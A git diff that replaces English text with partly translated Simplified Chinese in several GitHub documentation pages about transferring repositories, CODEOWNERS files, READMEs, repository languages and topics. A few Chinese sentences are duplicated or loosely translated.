diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
index 82edf7150d..5b82ec66c2 100644
--- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
+++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Transferring a repository
-intro: You can transfer repositories to other users or organization accounts.
+title: 转让仓库
+intro: 您可以将仓库转让给其他用户或组织帐户。
 redirect_from:
   - /articles/about-repository-transfers
   - /move-a-repo
@@ -22,30 +22,31 @@ versions:
 topics:
   - Repositories
 ---
-## About repository transfers
 
-When you transfer a repository to a new owner, they can immediately administer the repository's contents, issues, pull requests, releases, project boards, and settings.
+## 关于仓库转让
 
-Prerequisites for repository transfers: 
-- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. If the new owner doesn't accept the transfer within one day, the invitation will expire.{% endif %}
-- To transfer a repository that you own to an organization, you must have permission to create a repository in the target organization.
-- The target account must not have a repository with the same name, or a fork in the same network.
-- The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact.{% ifversion ghec or ghes or ghae %}
+当您将仓库转让给新所有者时，他们可以立即管理仓库的内容、议题、拉取请求、版本、项目板和设置。
+
+Prerequisites for repository transfers:
+- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. 如果新所有者在一天之内没有接受转让，则邀请将过期。{% endif %}
+- 要将您拥有的仓库转让给一个组织，您必须拥有在目标组织中创建仓库的权限。
+- 目标帐户不得具有相同名称的仓库，或位于同一网络中的复刻。
+- 仓库原来的所有者将添加为已转让仓库的协作者。 Other collaborators to the transferred repository remain intact.{% ifversion ghec or ghes or ghae %}
 - Internal repositories can't be transferred.{% endif %}
-- Private forks can't be transferred.
+- 私有复刻无法进行转让。
 
-{% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %}
+{% ifversion fpt or ghec %}如果您将私有仓库转让给 {% data variables.product.prodname_free_user %} 用户或组织帐户，该仓库将无法访问比如受保护分支和 {% data variables.product.prodname_pages %} 之类的功能。 {% data reusables.gated-features.more-info %}{% endif %}
 
-### What's transferred with a repository?
+### 随仓库一起转让的有哪些内容？
 
-When you transfer a repository, its issues, pull requests, wiki, stars, and watchers are also transferred. If the transferred repository contains webhooks, services, secrets, or deploy keys, they will remain associated after the transfer is complete. Git information about commits, including contributions, is preserved. In addition:
+当您转让仓库时，其议题、拉取请求、wiki、星号和查看者也将转让。 如果转让的仓库包含 web 挂钩、服务、密码或部署密钥，它们将在转让完成后保持关联状态。 关于提交的 Git 信息（包括贡献）都将保留。 此外：
 
-- If the transferred repository is a fork, then it remains associated with the upstream repository.
-- If the transferred repository has any forks, then those forks will remain associated with the repository after the transfer is complete.
-- If the transferred repository uses {% data variables.large_files.product_name_long %}, all {% data variables.large_files.product_name_short %} objects are automatically moved. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. For more information on adding storage for user accounts, see "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)."{% endif %}
-- When a repository is transferred between two user accounts, issue assignments are left intact. When you transfer a repository from a user account to an organization, issues assigned to members in the organization remain intact, and all other issue assignees are cleared. Only owners in the organization are allowed to create new issue assignments. When you transfer a repository from an organization to a user account, only issues assigned to the repository's owner are kept, and all other issue assignees are removed.
-- If the transferred repository contains a {% data variables.product.prodname_pages %} site, then links to the Git repository on the Web and through Git activity are redirected. However, we don't redirect {% data variables.product.prodname_pages %} associated with the repository.
-- All links to the previous repository location are automatically redirected to the new location. When you use `git clone`, `git fetch`, or `git push` on a transferred repository, these commands will redirect to the new repository location or URL. However, to avoid confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line:
+- 如果转让的仓库是复刻，则它仍与上游仓库关联。
+- 如果转让的仓库有任何复刻，则这些复刻在转让完成后仍与该仓库关联。
+- 如果转让的仓库使用 {% data variables.large_files.product_name_long %}，则所有 {% data variables.large_files.product_name_short %} 对象均自动移动。 This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. 有关为用户帐户增加存储的更多详细，请参阅“[升级 {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)”。{% endif %}
+- 仓库在两个用户帐户之间转让时，议题分配保持不变。 当您将仓库从用户帐户转让给组织时，分配给组织中该成员的议题保持不变，所有其他议题受理人都将被清除。 只允许组织中的所有者创建新的议题分配。 当您将仓库从组织转让给用户帐户时，只有分配给仓库所有者的议题保留，所有其他议题受理人都将被清除。
+- 如果转让的仓库包含 {% data variables.product.prodname_pages %} 站点，则指向 Web 上 Git 仓库和通过 Git 活动的链接将重定向。 不过，我们不会重定向与仓库关联的 {% data variables.product.prodname_pages %}。
+- 指向以前仓库位置的所有链接均自动重定向到新位置。 当您对转让的仓库使用 `git clone`、`git fetch` 或 `git push` 时，这些命令将重定向到新仓库位置或 URL。 不过，为了避免混淆，我们强烈建议将任何现有的本地克隆副本更新为指向新仓库 URL。 您可以通过在命令行中使用 `git remote` 来执行此操作：
 
   ```shell
   $ git remote set-url origin <em>new_url</em>
@@ -53,29 +54,29 @@ When you transfer a repository, its issues, pull requests, wiki, stars, and watc
 
 - When you transfer a repository from an organization to a user account, the repository's read-only collaborators will not be transferred. This is because collaborators can't have read-only access to repositories owned by a user account. For more information about repository permission levels, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
-For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+更多信息请参阅“[管理远程仓库](/github/getting-started-with-github/managing-remote-repositories)”。
 
-### Repository transfers and organizations
+### 仓库转让和组织
 
-To transfer repositories to an organization, you must have repository creation permissions in the receiving organization. If organization owners have disabled repository creation by organization members, only organization owners can transfer repositories out of or into the organization.
+要将仓库转让给组织，您必须在接收组织中具有仓库创建权限。 如果组织所有者已禁止组织成员创建仓库，则只有组织所有者能够转让仓库出入组织。
 
-Once a repository is transferred to an organization, the organization's default repository permission settings and default membership privileges will apply to the transferred repository.
+将仓库转让给组织后，组织的默认仓库权限设置和默认成员资格权限将应用到转让的仓库。
 
-## Transferring a repository owned by your user account
+## 转让您的用户帐户拥有的仓库
 
-You can transfer your repository to any user account that accepts your repository transfer. When a repository is transferred between two user accounts, the original repository owner and collaborators are automatically added as collaborators to the new repository.
+您可以将仓库转让给接受仓库转让的任何用户帐户。 在两个用户帐户之间转让仓库时，原来的仓库所有者和协作者将自动添加为新仓库的协作者。
 
-{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}
+{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. 更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 网站的自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site)。{% endif %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.transfer-repository-steps %}
 
-## Transferring a repository owned by your organization
+## 转让您的组织拥有的仓库
 
-If you have owner permissions in an organization or admin permissions to one of its repositories, you can transfer a repository owned by your organization to your user account or to another organization.
+如果您具有组织中的所有者权限或组织其中一个仓库的管理员权限，您可以将组织拥有的仓库转让给用户帐户或其他组织。
 
-1. Sign into your user account that has admin or owner permissions in the organization that owns the repository.
+1. 在拥有仓库的组织中登录您具有管理员或所有者权限的用户帐户。
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.transfer-repository-steps %}
diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
index d5d45325ef..2e4f77e92f 100644
--- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
+++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
@@ -1,6 +1,6 @@
 ---
-title: About code owners
-intro: You can use a CODEOWNERS file to define individuals or teams that are responsible for code in a repository.
+title: 关于代码所有者
+intro: 您可以使用 CODEOWNERS 文件定义负责仓库代码的个人或团队。
 redirect_from:
   - /articles/about-codeowners
   - /articles/about-code-owners
@@ -15,42 +15,43 @@ versions:
 topics:
   - Repositories
 ---
-People with admin or owner permissions can set up a CODEOWNERS file in a repository.
 
-The people you choose as code owners must have write permissions for the repository. When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership.
+具有管理员或所有者权限的人员可以在仓库中创建 CODEOWNERS 文件。
 
-## About code owners
+您选择作为代码所有者的人员必须具有仓库的写入权限。 When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership.
 
-Code owners are automatically requested for review when someone opens a pull request that modifies code that they own. Code owners are not automatically requested to review draft pull requests. For more information about draft pull requests, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)." When you mark a draft pull request as ready for review, code owners are automatically notified. If you convert a pull request to a draft, people who are already subscribed to notifications are not automatically unsubscribed. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)."
+## 关于代码所有者
 
-When someone with admin or owner permissions has enabled required reviews, they also can optionally require approval from a code owner before the author can merge a pull request in the repository. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)."
+当有人打开修改代码的拉取请求时，将自动请求代码所有者进行审查。 不会自动请求代码所有者审查拉取请求草稿。 有关拉取请求草稿的更多信息，请参阅“[关于拉取请求](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)”。 不会自动请求代码所有者审查拉取请求草稿。 如果将拉取请求转换为草稿，则已订阅通知的用户不会自动取消订阅。 更多信息请参阅“[更改拉取请求的阶段](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)”。
 
-If a file has a code owner, you can see who the code owner is before you open a pull request. In the repository, you can browse to the file and hover over {% octicon "shield-lock" aria-label="The edit icon" %}.
+当具有管理员或所有者权限的人员启用必需审查时，他们也可选择性要求代码所有者批准后，作者才可合并仓库中的拉取请求。 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)”。
 
-![Code owner for a file in a repository](/assets/images/help/repository/code-owner-for-a-file.png)
+如果文件具有代码所有者，则在打开拉取请求之前可以看到代码所有者是谁。 在仓库中，您可以找到文件并悬停于 {% octicon "shield-lock" aria-label="The edit icon" %} 上。
 
-## CODEOWNERS file location
+![仓库中文件的代码所有者](/assets/images/help/repository/code-owner-for-a-file.png)
 
-To use a CODEOWNERS file, create a new file called `CODEOWNERS` in the root, `docs/`, or `.github/` directory of the repository, in the branch where you'd like to add the code owners.
+## CODEOWNERS 文件位置
 
-Each CODEOWNERS file assigns the code owners for a single branch in the repository. Thus, you can assign different code owners for different branches, such as `@octo-org/codeowners-team` for a code base on the default branch and `@octocat` for a {% data variables.product.prodname_pages %} site on the `gh-pages` branch.
+要使用 CODEOWNERS 文件，请在仓库中您要添加代码所有者的分支的根目录 `docs/` 或 `.github/` 中，创建一个名为 `CODEOWNERS` 的新文件。
 
-For code owners to receive review requests, the CODEOWNERS file must be on the base branch of the pull request. For example, if you assign `@octocat` as the code owner for *.js* files on the `gh-pages` branch of your repository, `@octocat` will receive review requests when a pull request with changes to *.js* files is opened between the head branch and `gh-pages`.
+每个 CODEOWNERS 文件将为仓库中的一个分支分配代码所有者。 因此，您可以为不同的分支分配不同的代码所有者，例如为默认分支的代码基础分配 `@octo-org/codeowners-team`，为 `gh-pages` 分支的 {% data variables.product.prodname_pages %} 站点分配 `@octocat`。
+
+为使代码所有者接收审查请求，CODEOWNERS 文件必须在拉取请求的基本分支上。 例如，如果您将 `@octocat` 分配为仓库 `gh-pages` 分支上 *.js* 文件的代码所有者，则在头部分支与 `gh-pages` 之间打开更改 *.js* 文件的拉取请求时，`@octocat` 将会收到审查请求。
 
 {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-9273 %}
 ## CODEOWNERS file size
 
 CODEOWNERS files must be under 3 MB in size. A CODEOWNERS file over this limit will not be loaded, which means that code owner information is not shown and the appropriate code owners will not be requested to review changes in a pull request.
 
-To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry. 
+To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry.
 {% endif %}
 
-## CODEOWNERS syntax
+## CODEOWNERS 语法
 
-A CODEOWNERS file uses a pattern that follows most of the same rules used in [gitignore](https://git-scm.com/docs/gitignore#_pattern_format) files, with [some exceptions](#syntax-exceptions). The pattern is followed by one or more {% data variables.product.prodname_dotcom %} usernames or team names using the standard `@username` or `@org/team-name` format. Users must have `read` access to the repository and teams must have explicit `write` access, even if the team's members already have access. You can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, for example `user@example.com`.
+CODEOWNERS 文件使用遵循 [gitignore](https://git-scm.com/docs/gitignore#_pattern_format) 文件中所用大多数规则的模式，但有[一些例外](#syntax-exceptions)。 模式后接一个或多个使用标准 `@username` 或 `@org/team-name` 格式的 {% data variables.product.prodname_dotcom %} 用户名或团队名称。 Users must have `read` access to the repository and teams must have explicit `write` access, even if the team's members already have access. You can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, for example `user@example.com`.
 
-If any line in your CODEOWNERS file contains invalid syntax, the file will not be detected and will not be used to request reviews.
-### Example of a CODEOWNERS file
+如果 CODEOWNERS 文件中的任何行包含无效语法，则该文件将不会被检测并且不会用于请求审查。
+### CODEOWNERS 文件示例
 ```
 # This is a comment.
 # Each line is a file pattern followed by one or more owners.
@@ -103,16 +104,16 @@ apps/ @octocat
 /apps/ @octocat
 /apps/github 
 ```
-### Syntax exceptions
-There are some syntax rules for gitignore files that do not work in CODEOWNERS files:
-- Escaping a pattern starting with `#` using `\` so it is treated as a pattern and not a comment
-- Using `!` to negate a pattern
-- Using `[ ]` to define a character range
+### 语法例外
+gitignore 文件有一些语法规则在 CODEOWNERS 文件中不起作用：
+- 使用 `\` 对以 `#` 开头的模式转义，使其被当作模式而不是注释
+- 使用 `!` 否定模式
+- 使用 `[ ]` 定义字符范围
 
 ## CODEOWNERS and branch protection
-Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. For more information, see "[About protected branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." 
+Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)”。
 
-### Example of a CODEOWNERS file
+### CODEOWNERS 文件示例
 ```
 # In this example, any change inside the `/apps` directory
 # will require approval from @doctocat.
@@ -128,10 +129,10 @@ Repository owners can add branch protection rules to ensure that changed code is
 ```
 
 
-## Further reading
+## 延伸阅读
 
-- "[Creating new files](/articles/creating-new-files)"
-- "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
-- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)"
-- "[Viewing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)"
+- "[创建新文件](/articles/creating-new-files)"
+- "[邀请个人仓库的协作者](/articles/inviting-collaborators-to-a-personal-repository)"
+- "[管理个人对组织仓库的访问](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+- "[管理团队对组织仓库的访问](/articles/managing-team-access-to-an-organization-repository)"
+- "[查看拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)"
diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
index bd1c73488f..015744e1ab 100644
--- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
+++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
@@ -1,6 +1,6 @@
 ---
-title: About READMEs
-intro: 'You can add a README file to your repository to tell other people why your project is useful, what they can do with your project, and how they can use it.'
+title: 关于自述文件
+intro: 您可以将自述文件添加到仓库，告知其他人您的项目为什么有用，他们可以对您的项目做什么，以及他们可以如何使用。
 redirect_from:
   - /articles/section-links-on-readmes-and-blob-pages
   - /articles/relative-links-in-readmes
@@ -15,22 +15,23 @@ versions:
 topics:
   - Repositories
 ---
-## About READMEs
 
-You can add a README file to a repository to communicate important information about your project. A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions.
+## 关于自述文件
 
-For more information about providing guidelines for your project, see {% ifversion fpt or ghec %}"[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and {% endif %}"[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+您可以将 README 文件添加到仓库来交流有关您项目的重要信息。 A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions.
 
-A README is often the first item a visitor will see when visiting your repository. README files typically include information on:
-- What the project does
-- Why the project is useful
-- How users can get started with the project
-- Where users can get help with your project
-- Who maintains and contributes to the project
+有关为项目提供指南的更多信息，请参阅 {% ifversion fpt or ghec %}“[为项目添加行为准则](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)”和{% endif %}“[设置健康参与的项目](/communities/setting-up-your-project-for-healthy-contributions)”。
 
-If you put your README file in your repository's root, `docs`, or hidden `.github` directory, {% data variables.product.product_name %} will recognize and automatically surface your README to repository visitors.
+自述文件通常是访问者在访问仓库时看到的第一个项目。 自述文件通常包含以下信息：
+- 项目做什么
+- 项目为什么有用
+- 用户如何使用项目
+- 用户能从何处获取项目的帮助
+- 谁维护和参与项目
 
-![Main page of the github/scientist repository and its README file](/assets/images/help/repository/repo-with-readme.png)
+如果将自述文件放在仓库的根目录 `docs` 或隐藏的目录 `.github` 中，{% data variables.product.product_name %} 将会识别您的自述文件并自动向仓库访问者显示。
+
+![Github/scientist 仓库的主页面及其自述文件](/assets/images/help/repository/repo-with-readme.png)
 
 {% ifversion fpt or ghes or ghec %}
 
@@ -38,31 +39,31 @@ If you put your README file in your repository's root, `docs`, or hidden `.githu
 
 {% endif %}
 
-![README file on your username/username repository](/assets/images/help/repository/username-repo-with-readme.png)
+![用户名/用户名仓库上的自述文件](/assets/images/help/repository/username-repo-with-readme.png)
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 
-## Auto-generated table of contents for README files
+## 为 README 文件自动生成的目录
 
-For the rendered view of any Markdown file in a repository, including README files, {% data variables.product.product_name %} will automatically generate a table of contents based on section headings. You can view the table of contents for a README file by clicking the {% octicon "list-unordered" aria-label="The unordered list icon" %}  menu icon at the top left of the rendered page.
+对于仓库中任何 Markdown 文件（包括 README 文件）的视图，{% data variables.product.product_name %} 将自动生成基于章节标题的目录。 您可以通过单击渲染页面左上侧的 {% octicon "list-unordered" aria-label="The unordered list icon" %}  菜单图标来查看 README 文件的目录。
 
-![README with automatically generated TOC](/assets/images/help/repository/readme-automatic-toc.png)
+![自动生成目录的自述文件](/assets/images/help/repository/readme-automatic-toc.png)
 
 {% endif %}
 
-## Section links in README files and blob pages
+## 自述文件和 blob 页面中的章节链接
 
 {% data reusables.repositories.section-links %}
 
-## Relative links and image paths in README files
+## 自述文件中的相对链接和图像路径
 
 {% data reusables.repositories.relative-links %}
 
 ## Wikis
 
-A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."
+A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. 更多信息请参阅“[关于 wiki](/communities/documenting-your-project-with-wikis/about-wikis)”。
 
-## Further reading
+## 延伸阅读
 
-- "[Adding a file to a repository](/articles/adding-a-file-to-a-repository)"
-- 18F's "[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)"
+- "[添加文件到仓库](/articles/adding-a-file-to-a-repository)"
+- 18F 的“[将自述文件设为可读](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)”
diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
index be5c459c90..70b5add19d 100644
--- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
+++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
@@ -1,6 +1,6 @@
 ---
-title: About repository languages
-intro: The files and directories within a repository determine the languages that make up the repository. You can view a repository's languages to get a quick overview of the repository.
+title: 关于仓库语言
+intro: 仓库中的文件和目录确定构成仓库的语言。 您可以查看仓库的语言以快速获取仓库的概述。
 redirect_from:
   - /articles/my-repository-is-marked-as-the-wrong-language
   - /articles/why-isn-t-my-favorite-language-recognized
@@ -17,13 +17,14 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Repository languages
+shortTitle: 仓库语言
 ---
-{% data variables.product.product_name %} uses the open source [Linguist library](https://github.com/github/linguist) to
-determine file languages for syntax highlighting and repository statistics. Language statistics will update after you push changes to your default branch.
 
-Some files are hard to identify, and sometimes projects contain more library and vendor files than their primary code. If you're receiving incorrect results, please consult the Linguist [troubleshooting guide](https://github.com/github/linguist/blob/master/docs/troubleshooting.md) for help.
+{% data variables.product.product_name %} 使用开源 [Linguist 库](https://github.com/github/linguist)来
+确定用于语法突出显示和仓库统计信息的文件语言。 语言统计数据在您推送更改到默认分支后将会更新。
 
-## Markup languages
+有些文件难以识别，有时项目包含的库和供应商文件多于其主要代码。 如果您收到错误结果，请查阅 Linguist [故障排除指南](https://github.com/github/linguist/blob/master/docs/troubleshooting.md)寻求帮助。
 
-Markup languages are rendered to HTML and displayed inline using our open-source [Markup library](https://github.com/github/markup). At this time, we are not accepting new markup languages to show within {% data variables.product.product_name %}. However, we do actively maintain our current markup languages. If you see a problem, [please create an issue](https://github.com/github/markup/issues/new).
+## 标记语言
+
+标记语言渲染到 HTML，并使用开源[标记库](https://github.com/github/markup)内联显示。 目前，我们不接受在 {% data variables.product.product_name %} 中显示新的标记语言。 但我们会主动维护目前的标记语言。 如果您发现问题，[请创建议题](https://github.com/github/markup/issues/new)。
diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
index 48c0c4d4bf..89fd70d6b9 100644
--- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
+++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
@@ -1,6 +1,6 @@
 ---
-title: Classifying your repository with topics
-intro: 'To help other people find and contribute to your project, you can add topics to your repository related to your project''s intended purpose, subject area, affinity groups, or other important qualities.'
+title: 使用主题对仓库分类
+intro: 为帮助其他人找到并参与您的项目，可以为仓库添加主题，这些主题可以与项目的预期目的、学科领域、关联团队或其他重要特点相关。
 redirect_from:
   - /articles/about-topics
   - /articles/classifying-your-repository-with-topics
@@ -13,30 +13,28 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Classify with topics
+shortTitle: 按主题分类
 ---
-## About topics
 
-With topics, you can explore repositories in a particular subject area, find projects to contribute to, and discover new solutions to a specific problem. Topics appear on the main page of a repository. You can click a topic name to {% ifversion fpt or ghec %}see related topics and a list of other repositories classified with that topic{% else %}search for other repositories with that topic{% endif %}.
+## 关于主题
 
-![Main page of the test repository showing topics](/assets/images/help/repository/os-repo-with-topics.png)
+使用主题可以探索特定主题领域的仓库，查找要参与的项目，以及发现特定问题的新解决方案。 主题显示在仓库的主页面上。 您可以单击主题名称以{% ifversion fpt or ghec %}查看相关主题及其他以该主题分类的仓库列表{% else %}搜索使用该主题的其他仓库{% endif %}。
 
-To browse the most used topics, go to https://github.com/topics/.
+![显示主题的测试仓库主页面](/assets/images/help/repository/os-repo-with-topics.png)
 
-{% ifversion fpt or ghec %}You can contribute to {% data variables.product.product_name %}'s set of featured topics in the [github/explore](https://github.com/github/explore) repository. {% endif %}
+要浏览最常用的主题，请访问 https://github.com/topics/
 
-Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.product_name %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %}
+{% ifversion fpt or ghec %}您可以在 [github/explore](https://github.com/github/explore) 仓库中参与 {% data variables.product.product_name %} 的专有主题集。 {% endif %}
+
+仓库管理员可以添加他们喜欢的任何主题到仓库。 适用于对仓库分类的主题包括仓库的预期目的、主题领域、社区或语言。{% ifversion fpt or ghec %} 此外，{% data variables.product.product_name %} 也会分析公共仓库内容，生成建议的主题，仓库管理员可以接受或拒绝。 私有仓库内容不可分析，也不会收到主题建议。{% endif %}
 
 {% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% elsif ghae %}Private and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results.
 
-You can search for repositories that are associated with a particular topic. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." You can also search for a list of topics on {% data variables.product.product_name %}. For more information, see "[Searching topics](/search-github/searching-on-github/searching-topics)."
+您可以搜索与公共仓库关联的仓库。 更多信息请参阅“[搜索仓库](/search-github/searching-on-github/searching-for-repositories#search-by-topic)”。 您也可以搜索 {% data variables.product.product_name %} 中的主题列表。 更多信息请参阅“[搜索主题](/search-github/searching-on-github/searching-topics)”。
 
-## Adding topics to your repository
+## 添加主题到仓库
 
 {% data reusables.repositories.navigate-to-repo %}
-2. To the right of "About", click {% octicon "gear" aria-label="The Gear icon" %}.
-  ![Gear icon on main page of a repository](/assets/images/help/repository/edit-repository-details-gear.png)
-3. Under "Topics", type the topic you want to add to your repository, then type a space.
-  ![Form to enter topics](/assets/images/help/repository/add-topic-form.png)
-4. After you've finished adding topics, click **Save changes**.
-  !["Save changes" button in "Edit repository details"](/assets/images/help/repository/edit-repository-details-save-changes-button.png)
+2. 在“About（关于）”右侧，单击 {% octicon "gear" aria-label="The Gear icon" %}。 ![仓库主页上的齿轮图标](/assets/images/help/repository/edit-repository-details-gear.png)
+3. 在“"Topics（主题）”下，键入要添加到仓库的主题，然后键入空格。 ![输入主题的表单](/assets/images/help/repository/add-topic-form.png)
+4. 完成添加主题后，单击 **Save changes（保存更改）**。 !["Edit repository details（编辑仓库详细信息）"中的"Save changes（保存更改）"按钮](/assets/images/help/repository/edit-repository-details-save-changes-button.png)
diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
index 3ac3c54bdd..85c6100e52 100644
--- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
+++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
@@ -1,6 +1,6 @@
 ---
